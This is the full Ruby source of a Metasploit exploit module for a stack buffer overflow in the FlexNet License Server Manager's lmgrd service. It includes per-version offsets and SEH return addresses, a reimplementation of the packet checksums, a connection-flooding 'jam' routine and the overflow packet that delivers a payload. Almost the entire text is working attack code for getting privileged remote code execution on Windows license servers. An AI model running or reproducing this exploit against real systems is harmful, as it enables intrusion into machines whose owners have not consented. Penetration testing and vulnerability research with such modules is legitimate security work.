FlexNet License Server Manager lmgrd Buffer Overflow

`##  
# This file is part of the Metasploit Framework and may be subject to  
# redistribution and commercial restrictions. Please see the Metasploit  
# web site for more information on licensing and terms of use.  
# http://metasploit.com/  
##  
  
require 'msf/core'  
  
class Metasploit3 < Msf::Exploit::Remote  
Rank = NormalRanking  
  
include Msf::Exploit::Remote::Tcp  
include Msf::Exploit::Remote::Seh  
  
def initialize(info = {})  
super(update_info(info,  
'Name' => 'FlexNet License Server Manager lmgrd Buffer Overflow',  
'Description' => %q{  
This module exploits a vulnerability in the FlexNet  
License Server Manager.  
  
The vulnerability is due to the insecure usage of memcpy  
in the lmgrd service when handling network packets, which  
results in a stack buffer overflow.  
  
In order to improve reliability, this module will make lots of  
connections to lmgrd during each attempt to maximize its success.  
},  
'Author' =>  
[  
'Luigi Auriemma', # Vulnerability Discovery and PoC  
'Alexander Gavrun', # Vulnerability Discovery  
'juan vazquez', # Metasploit module  
'sinn3r' # Metasploit module  
],  
'License' => MSF_LICENSE,  
'References' =>  
[  
[ 'OSVDB', '81899' ],  
[ 'BID', '52718' ],  
[ 'URL', 'http://www.zerodayinitiative.com/advisories/ZDI-12-052/' ],  
[ 'URL', 'http://aluigi.altervista.org/adv/lmgrd_1-adv.txt' ]  
],  
'Privileged' => true,  
'DefaultOptions' =>  
{  
'EXITFUNC' => 'process'  
},  
'Payload' =>  
{  
'Space' => 4000  
},  
'Platform' => 'win',  
'Targets' =>  
[  
[ 'Debug', {} ],  
[ 'Autodesk Licensing Server Tools 11.5 / lmgrd 11.5.0.0 / Windows XP SP3',  
{  
'Offset' => 10476,  
'ShellcodeOffset' => 5504,  
'Ret' => 0x0047d01f # ppr from lmgrd.exe  
}  
],  
[ 'Alias License Tools 10.8.0.7 / lmgrd 10.8.0.7 / Windows XP SP3',  
{  
'Offset' => 7324,  
'ShellcodeOffset' => 2332,  
'Ret' => 0x004eda91 # ppr from lmgrd.exe  
}  
],  
[ 'Alias License Tools 10.8 / lmgrd 10.8.0.2 / Windows XP SP3',  
{  
'Offset' => 7320,  
'ShellcodeOffset' => 2328,  
'Ret' => 0x004eb2e1 # ppr from lmgrd.exe  
}  
],  
],  
'DefaultTarget' => 1,  
'DisclosureDate' => 'Mar 23 2012'))  
  
register_options(  
[  
Opt::RPORT(27000),  
OptInt.new('Attempts', [ true, 'Number of attempts for the exploit phase', 20 ]),  
OptInt.new('Wait', [ true, 'Delay between brute force attempts', 2 ]),  
OptInt.new('Jam', [ true, 'Number of requests to jam the server', 100 ])  
], self.class)  
end  
  
def header_checksum(packet)  
packet_bytes = packet.unpack("C*")  
checksum = packet_bytes[0]  
i = 2  
while i < 0x14  
checksum = checksum + packet_bytes[i]  
i = i + 1  
end  
return (checksum & 0x0FF)  
end  
  
def data_checksum(packet_data)  
word_table = ""  
i = 0  
while i < 256  
v4 = 0  
v3 = i  
j = 8  
  
while j > 0  
if ((v4 ^ v3) & 1) == 1  
v4 = ((v4 >> 1) ^ 0x3A5D) & 0x0FFFF  
else  
v4 = (v4 >> 1) & 0x0FFFF  
end  
v3 >>= 1  
j = j - 1  
end  
  
word_table << [v4].pack("S")  
i = i + 1  
end  
k = 0  
checksum = 0  
data_bytes = packet_data.unpack("C*")  
word_table_words = word_table.unpack("S*")  
while k < packet_data.length  
position = data_bytes[k] ^ (checksum & 0x0FF)  
checksum = (word_table_words[position] ^ (checksum >> 8)) & 0x0FFFF  
k = k + 1  
end  
return checksum  
end  
  
def create_packet(data)  
pkt = "\x2f"  
pkt << "\x00" # header checksum  
pkt << "\x00\x00" # data checksum  
pkt << "\x00\x00" # pkt length  
pkt << "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"  
pkt << data  
  
pkt[4,2] = [pkt.length].pack("n")  
  
data_sum = data_checksum(pkt[4, pkt.length - 4])  
pkt[2, 2] = [data_sum].pack("n")  
  
hdr_sum = header_checksum(pkt[0, 20])  
pkt[1] = [hdr_sum].pack("C")  
  
return pkt  
end  
  
def jam  
pkt = create_packet("")  
  
datastore['Jam'].times do  
connect  
sock.put(pkt)  
disconnect  
end  
end  
  
def exploit  
i = 1  
while i <= datastore['Attempts'] and not session_created?  
print_status("Attempt #{i}/#{datastore['Attempts']} to exploit...")  
do_exploit  
sleep(datastore['Wait'])  
i = i + 1  
end  
  
if not session_created?  
print_error("Exploit didn't work after #{i} attempts")  
end  
end  
  
def do_exploit  
t = framework.threads.spawn("jam", false) { jam }  
my_payload = payload.encoded  
  
header_length = 20 # See create_packet() to understand this number  
pkt_data = ""  
if target.name =~ /Debug/  
pkt_data << "a" * (65535 - header_length)  
else  
pkt_data << "a" * (target['ShellcodeOffset'])  
pkt_data << my_payload  
pkt_data << "b" * (target['Offset']-target['ShellcodeOffset']-my_payload.length)  
pkt_data << generate_seh_record(target.ret)  
pkt_data << Metasm::Shellcode.assemble(Metasm::Ia32.new, "jmp $-5000").encode_string  
pkt_data << "c" * (65535 - pkt_data.length - header_length)  
end  
  
pkt = create_packet(pkt_data)  
  
connect  
sock.put(pkt)  
handler  
disconnect  
end  
  
end  
`